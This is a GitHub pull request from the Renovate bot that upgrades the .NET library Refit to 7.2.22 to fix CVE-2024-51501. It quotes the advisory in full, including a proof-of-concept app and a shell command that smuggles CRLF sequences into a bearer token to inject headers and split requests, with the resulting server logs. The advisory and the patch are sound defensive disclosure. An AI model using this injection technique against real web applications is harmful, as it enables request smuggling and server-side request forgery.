Skip to content

Comments

chore(deps): update dependency refit to v7 [security]#282

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/nuget-refit-vulnerability
Open

chore(deps): update dependency refit to v7 [security]#282
renovate[bot] wants to merge 1 commit intomainfrom
renovate/nuget-refit-vulnerability

Conversation

@renovate
Copy link

@renovate renovate bot commented Nov 4, 2024 •
edited
Loading

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
refit 6.0.38 → 7.2.22 age confidence

GitHub Vulnerability Alerts

CVE-2024-51501

Summary

The various header-related Refit attributes (Header, HeaderCollection and Authorize) are vulnerable to CRLF injection.

Details

The way HTTP headers are added to a request is via the HttpHeaders.TryAddWithoutValidation method: https://github.com/reactiveui/refit/blob/258a771f44417c6e48e103ac921fe4786f3c2a1e/Refit/RequestBuilderImplementation.cs#L1328
This method does not check for CRLF characters in the header value.

This means that any headers added to a refit request are vulnerable to CRLF-injection. In general, CRLF-injection into a HTTP header (when using HTTP/1.1) means that one can inject additional HTTP headers or smuggle whole HTTP requests.

PoC

The below example code creates a console app that takes one command line variable (a bearer token) and then makes a request to some status page with the provided token inserted in the "Authorization" header:

using Refit;

internal class Program
{
    private static void Main(string[] args)
    {
        // Usage: dotnet run <bearer token> 
        string token = args[0];
        var service = RestService.For<IStatusApi>("http://insert.some.site.here");
        string response = service.GetStatus(token).Result;
        Console.WriteLine($"Response: {response}");
    }

    public interface IStatusApi
    {
        [Get("/status")]
        Task<string> GetStatus([Authorize("Bearer")] string token);
    }
}

This application is now vulnerable to CRLF-injection, and can thus be abused to for example perform request splitting and thus server side request forgery (SSRF):

anonymous@ubuntu-sofia-672448:~$ dotnet Refit-cli.dll $'test\r\nUser-Agent: injected header!\r\n\r\nGET /smuggled HTTP/1.1\r\nHost: insert.some.site.here'
Response: <html></html>

The application intends to send a single request of the form:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer <bearer token>

But as the application is vulnerable to CRLF injection the above command will instead result in the following two requests being sent:

GET /status HTTP/1.1
Host: insert.some.site.here
Authorization: Bearer test
User-Agent: injected header!

and

GET /smuggled HTTP/1.1
Host: insert.some.site.here

This can be confirmed by checking the access logs on the server where these commands were run (with insert.some.site.here pointing to localhost):

anonymous@ubuntu-sofia-672448:~$ sudo tail /var/log/apache2/access.log
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /status HTTP/1.1" 200 240 "-" "injected header!"
127.0.0.1 - - [29/Aug/2024:12:17:34 +0000] "GET /smuggled HTTP/1.1" 404 436 "-" "-"

Impact

If an application using the Refit library passes a user-controllable value through to a header, then that application becomes vulnerable to CRLF-injection. This is not necessarily a security issue for a command line application like the one above, but if such code were present in a web application then it becomes vulnerable to request splitting (as shown in the PoC) and thus Server Side Request Forgery.

Strictly speaking this is a potential vulnerability in applications using Refit, not in Refit itself, but I would argue that at the very least there needs to be a warning about this behaviour in the Refit documentation.

Release Notes

reactiveui/refit (refit)

v7.2.22

Compare Source

Fixes:

v7.2.1

Compare Source

What's Changed

Full Changelog: reactiveui/refit@7.2.0...7.2.1

v7.2.0

Compare Source

What's Changed

New Contributors

Full Changelog: reactiveui/refit@7.1.2...7.2.0

v7.1.2

Compare Source

Features:
Fixes:
Housekeeping:
Other:

v7.1.1

Compare Source

Features:
Other:

v7.1.0

Compare Source

Dependencies:
Features:
Fixes:
Housekeeping:
Other:

v7.0.0

Compare Source

Dependencies:

Other:

v6.5.1

Compare Source

Features:

Fixes:

Housekeeping:

Other:

v6.4.1

Dependencies:

Features:

Fixes:

Housekeeping:

Other:

v6.3.2

Changes:

Enhancements:
  • #​1310: Split XmlContentSerializer into separate package
Dependencies:
  • #​1306: Bump coverlet.collector from 3.1.0 to 3.1.2
Others:
  • #​1307: Fix missing syntax highlighting
  • #​1303: Add MemberNotNullWhen attribute to IsSuccessStatusCode

This list of changes was auto generated.

v6.2.16

Changes:

Bugs:
  • #​1290: Refit interface methods that return Task assign ApiException to the IApiResponse.Error property on error
Dependencies:
  • #​1285: Bump Nerdbank.GitVersioning from 3.4.231 to 3.4.255
  • #​1271: Bump Microsoft.VisualStudio.Threading.Analyzers from 16.10.56 to 17.0.64
  • #​1260: Bump Microsoft.NET.Test.Sdk from 16.10.0 to 17.0.0
  • #​1276: Bump Microsoft.SourceLink.GitHub from 1.0.0 to 1.1.1
Others:
See More

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot force-pushed the renovate/nuget-refit-vulnerability branch from a9e57c5 to 9891ad1 Compare November 8, 2024 15:33
@renovate renovate bot changed the title chore(deps): update dependency refit to v8 [security] chore(deps): update dependency refit to v7 [security] Nov 8, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

🗝️ security

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants